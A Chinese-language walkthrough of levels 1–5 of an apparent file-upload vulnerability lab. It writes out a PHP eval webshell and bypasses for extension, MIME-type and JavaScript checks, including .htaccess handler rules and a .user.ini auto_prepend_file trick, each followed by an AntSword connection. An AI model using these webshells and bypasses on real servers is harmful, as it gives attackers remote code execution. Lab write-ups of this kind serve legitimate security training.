第1关
1.创建文件shell.php,写入以下内容:
<?php
#一句话木马
@eval($_POST['cmd']);
#显示php环境信息,便于观察shell.php是否上传成功且被成功执行
phpinfo();
?>
2.上传shell.php文件
上传失败,.php文件无法上传。

打开BurpSuite抓包,上传文件发现页面依旧弹窗提示上传失败,但是BurpSuite没有抓到包,说明对文件类型的判断是在前端进行的,数据包并没有传送到服务端。


3.关闭前端校验(方法一)
关闭浏览器JavaScript功能(以chrome为例)
设置-隐私设置和安全性-网站设置-javaScript-不允许网站使用JavaScript



4.上传shell.php并访问
关闭JavaScript功能后刷新页面,上传shell.php文件。
文件上传成功后在图片区域点击鼠标右键,复制图片地址,打开新的标签页访问图片。


可以看到php的环境配置,说明shell.php文件已经上传成功并且已被执行。
5.BurpSuite抓包改后缀(方法二)
将shell.php改成shell.jpg,上传shell.jpg,BurpSuite抓包修改后缀为shell.php。

放行数据包后,可以看到文件上传成功,接步骤4。
6.中国蚁剑连接
填写shell.php访问链接和连接密码。


第2关
1.分析核心源代码
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
由if判断条件可知,上传文件的类型必须为image/jpeg、image/png、image/gif这三种类型。
2.BurpSuite抓包
改文件类型,放行数据包,前端页面可见文件上传成功。

3.蚁剑连接
常规操作不再赘述。
第3关
1.分析核心源代码
$deny_ext = array('.asp','.aspx','.php','.jsp');
$deny_ext定义了黑名单,’.asp’,’.aspx’,’.php’,’.jsp’后缀会被过滤掉。
2.更换shell.php文件的后缀
将php文件的后缀更换成以下任一后缀,或者使用大小写绕过。
.php
.php3
.php4
.php5
.php7
.php8
.pht
.phtm
.phtml
.phar
3.更换后缀后上传,然后蚁剑连接
第4关
1.分析核心源代码
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
这里使用黑名单过滤了所有php、jsp、asp可执行文件的后缀,通过后缀名绕过不可行。但是忽略了.htaccess后缀的文件。
通过 .htaccess 规则,让本不执行脚本的文件(如 .jpg、.png、.txt、.gif)被服务器当成 PHP 脚本执行。
.htaccess最常用的三条解析规则
# 1. 让jpg当php执行
AddType application/x-httpd-php .jpg
# 2. 让png当php执行
AddHandler application/x-httpd-php .png
# 3. 指定某个文件当php执行
<Files "shell.txt">
SetHandler application/x-httpd-php
</Files>
【注意】
Apache 2.2 及以前:默认 AllowOverride All → .htaccess 自动生效 Apache 2.3.9+ / 2.4.x:默认 AllowOverride None → 完全不读取 .htaccess
建议在2.2及以前版本进行漏洞复现。
重启Apache服务使配置生效。
2.创建并编辑.htaccess文件
在Linux系统中可以直接创建并编辑,在Windows系统中需要先用记事本编辑内容再另存为.htaccess文件。
在.htaccess文件中指定shell.txt文件当php执行,编辑完成后保存并上传。
<Files "shell.txt">
SetHandler application/x-httpd-php
</Files>
3.上传shell.txt文件
修改shell.php后缀为shell.txt,然后上传,上传成功后使用中国蚁剑连接。
第5关
1.分析核心源代码
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
这里漏掉了.ini配置文件,可以上传.user.ini文件,对apache和nginx通用。(.htaccess只对apache有效)
.user.ini文件可以指定一个文件,其他php文件在执行前会在首行/末尾包含指定文件的内容。
;在首行包含shell.jpg的内容
auto_prepend_file = shell.jpg
;在末尾包含shell.jpg的内容
auto_append_file = shell.jpg
2.创建、编辑并上传.user.ini文件
.user.ini文件内容如下:
auto_prepend_file = shell.jpg
.user.ini文件上传成功后需要等待一段时间生效(1分钟以内)。
3.修改shell.php改为shell.jpg并上传
4.检测生效
在upload文件夹下靶场放置了一个readme.php文件,访问readme.php文件,readme.php文件则会把shell.jpg文件中的一句话木马包含进去一起执行。
5.中国蚁剑连接